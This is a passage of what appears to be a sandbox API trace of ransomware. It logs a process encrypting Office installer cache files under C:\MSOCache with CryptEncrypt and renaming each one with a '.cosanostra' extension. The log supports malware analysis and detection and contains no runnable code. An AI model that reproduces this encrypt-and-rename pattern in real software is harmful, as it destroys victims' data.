[0107.729] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0107.729] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df3c4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df3c4*=0x2800, lpOverlapped=0x0) returned 1 [0107.729] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.729] WriteFile (in: hFile=0x15c, lpBuffer=0x28df404*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df3c4, lpOverlapped=0x0 | out: lpBuffer=0x28df404*, lpNumberOfBytesWritten=0x28df3c4*=0x4, lpOverlapped=0x0) returned 1 [0107.731] WriteFile (in: hFile=0x15c, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df3c4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df3c4*=0x30, lpOverlapped=0x0) returned 1 [0107.731] CloseHandle (hObject=0x15c) returned 1 [0107.731] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.cosanostra") returned 88 [0107.731] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.cosanostra")) returned 1 [0107.732] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df400 | out: pbBuffer=0x28df400) returned 1 [0107.732] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df3f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df3f8*=0x30) returned 1 [0107.732] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0107.733] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 74 [0107.733] StrStrW (lpFirst="ose.exe", lpSrch=".txt") returned 0x0 [0107.748] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0107.748] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df3bc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df3bc*=0x2800, lpOverlapped=0x0) returned 1 [0107.749] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.749] WriteFile (in: hFile=0x15c, lpBuffer=0x28df3fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df3bc, lpOverlapped=0x0 | out: lpBuffer=0x28df3fc*, lpNumberOfBytesWritten=0x28df3bc*=0x4, lpOverlapped=0x0) returned 1 [0107.780] WriteFile (in: hFile=0x15c, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df3bc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df3bc*=0x30, lpOverlapped=0x0) returned 1 [0107.780] CloseHandle (hObject=0x15c) returned 1 [0107.780] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.cosanostra") returned 85 [0107.780] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.cosanostra")) returned 1 [0107.781] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df400 | out: pbBuffer=0x28df400) returned 1 [0107.781] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df3f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df3f8*=0x30) returned 1 [0107.781] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0107.782] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 81 [0107.782] StrStrW (lpFirst="Office32WW.xml", lpSrch=".txt") returned 0x0 [0107.783] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffef4e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0107.783] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x10b2, lpNumberOfBytesWritten=0x28df3bc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df3bc*=0x10b2, lpOverlapped=0x0) returned 1 [0107.783] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.783] WriteFile (in: hFile=0x15c, lpBuffer=0x28df3fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df3bc, lpOverlapped=0x0 | out: lpBuffer=0x28df3fc*, lpNumberOfBytesWritten=0x28df3bc*=0x4, lpOverlapped=0x0) returned 1 [0107.783] WriteFile (in: hFile=0x15c, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df3bc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df3bc*=0x30, lpOverlapped=0x0) returned 1 [0107.783] CloseHandle (hObject=0x15c) returned 1 [0107.784] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.cosanostra") returned 92 [0107.784] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.cosanostra")) returned 1 [0107.784] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df3f8 | out: pbBuffer=0x28df3f8) returned 1 [0107.784] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df3f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df3f0*=0x30) returned 1 [0107.784] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0107.785] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 81 [0107.785] StrStrW (lpFirst="Office32WW.msi", lpSrch=".txt") returned 0x0 [0107.815] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0107.815] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df3b4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df3b4*=0x2800, lpOverlapped=0x0) returned 1 [0107.816] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.816] WriteFile (in: hFile=0x15c, lpBuffer=0x28df3f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df3b4, lpOverlapped=0x0 | out: lpBuffer=0x28df3f4*, lpNumberOfBytesWritten=0x28df3b4*=0x4, lpOverlapped=0x0) returned 1 [0107.850] WriteFile (in: hFile=0x15c, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df3b4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df3b4*=0x30, lpOverlapped=0x0) returned 1 [0107.850] CloseHandle (hObject=0x15c) returned 1 [0107.850] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.cosanostra") returned 92 [0107.850] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.cosanostra")) returned 1 [0107.851] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df3f8 | out: pbBuffer=0x28df3f8) returned 1 [0107.851] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df3f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df3f0*=0x30) returned 1 [0107.851] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.851] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df3f0 | out: pbBuffer=0x28df3f0) returned 1 [0107.851] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df3e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df3e8*=0x30) returned 1 [0107.851] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.851] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df3f0 | out: pbBuffer=0x28df3f0) returned 1 [0107.851] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df3e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df3e8*=0x30) returned 1 [0107.851] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0107.852] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 80 [0107.852] StrStrW (lpFirst="PrjProrWW.msi", lpSrch=".txt") returned 0x0 [0107.853] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0107.853] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df3ac, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df3ac*=0x2800, lpOverlapped=0x0) returned 1 [0107.854] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.854] WriteFile (in: hFile=0x15c, lpBuffer=0x28df3ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df3ac, lpOverlapped=0x0 | out: lpBuffer=0x28df3ec*, lpNumberOfBytesWritten=0x28df3ac*=0x4, lpOverlapped=0x0) returned 1 [0107.855] WriteFile (in: hFile=0x15c, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df3ac, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df3ac*=0x30, lpOverlapped=0x0) returned 1 [0107.855] CloseHandle (hObject=0x15c) returned 1 [0107.855] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.cosanostra") returned 91 [0107.855] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.cosanostra")) returned 1 [0107.856] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df3e8 | out: pbBuffer=0x28df3e8) returned 1 [0107.856] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df3e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df3e0*=0x30) returned 1 [0107.856] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0107.857] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 91 [0107.857] StrStrW (lpFirst="pkeyconfig-office.xrm-ms", lpSrch=".txt") returned 0x0 [0107.876] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0107.877] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df3a4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df3a4*=0x2800, lpOverlapped=0x0) returned 1 [0107.877] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.877] WriteFile (in: hFile=0x15c, lpBuffer=0x28df3e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df3a4, lpOverlapped=0x0 | out: lpBuffer=0x28df3e4*, lpNumberOfBytesWritten=0x28df3a4*=0x4, lpOverlapped=0x0) returned 1 [0108.109] WriteFile (in: hFile=0x15c, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df3a4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df3a4*=0x30, lpOverlapped=0x0) returned 1 [0108.110] CloseHandle (hObject=0x15c) returned 1 [0108.110] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.cosanostra") returned 102 [0108.110] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.cosanostra")) returned 1 [0108.111] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df3e8 | out: pbBuffer=0x28df3e8) returned 1 [0108.111] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df3e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df3e0*=0x30) returned 1 [0108.111] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0108.112] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 79 [0108.112] StrStrW (lpFirst="OWOW32WW.cab", lpSrch=".txt") returned 0x0 [0108.114] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.114] WriteFile (in: hFile=0x15c, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df3a4, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df3a4*=0x2800, lpOverlapped=0x0) returned 1 [0108.114] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.115] WriteFile (in: hFile=0x15c, lpBuffer=0x28df3e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df3a4, lpOverlapped=0x0 | out: lpBuffer=0x28df3e4*, lpNumberOfBytesWritten=0x28df3a4*=0x4, lpOverlapped=0x0) returned 1 [0108.116] WriteFile (in: hFile=0x15c, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df3a4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df3a4*=0x30, lpOverlapped=0x0) returned 1 [0108.116] CloseHandle (hObject=0x15c) returned 1 [0108.198] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.cosanostra") returned 90 [0108.198] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.cosanostra")) returned 1 [0108.220] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df3e0 | out: pbBuffer=0x28df3e0) returned 1 [0108.220] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df3d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df3d8*=0x30) returned 1 [0108.220] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0108.223] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 79 [0108.223] StrStrW (lpFirst="ProPrWW2.cab", lpSrch=".txt") returned 0x0 [0108.349] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.349] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df39c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df39c*=0x2800, lpOverlapped=0x0) returned 1 [0108.350] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.350] WriteFile (in: hFile=0x138, lpBuffer=0x28df3dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df39c, lpOverlapped=0x0 | out: lpBuffer=0x28df3dc*, lpNumberOfBytesWritten=0x28df39c*=0x4, lpOverlapped=0x0) returned 1 [0108.384] WriteFile (in: hFile=0x138, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df39c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df39c*=0x30, lpOverlapped=0x0) returned 1 [0108.384] CloseHandle (hObject=0x138) returned 1 [0108.405] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.cosanostra") returned 90 [0108.405] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.cosanostra")) returned 1 [0108.405] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df3e0 | out: pbBuffer=0x28df3e0) returned 1 [0108.405] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df3d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df3d8*=0x30) returned 1 [0108.406] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0108.407] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 79 [0108.407] StrStrW (lpFirst="OWOW32WW.cab", lpSrch=".txt") returned 0x0 [0108.426] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.426] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df39c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x28df39c*=0x2800, lpOverlapped=0x0) returned 1 [0108.427] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.427] WriteFile (in: hFile=0x138, lpBuffer=0x28df3dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df39c, lpOverlapped=0x0 | out: lpBuffer=0x28df3dc*, lpNumberOfBytesWritten=0x28df39c*=0x4, lpOverlapped=0x0) returned 1 [0108.428] WriteFile (in: hFile=0x138, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df39c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df39c*=0x30, lpOverlapped=0x0) returned 1 [0108.428] CloseHandle (hObject=0x138) returned 1 [0108.428] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.cosanostra") returned 90 [0108.428] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.cosanostra")) returned 1 [0108.429] 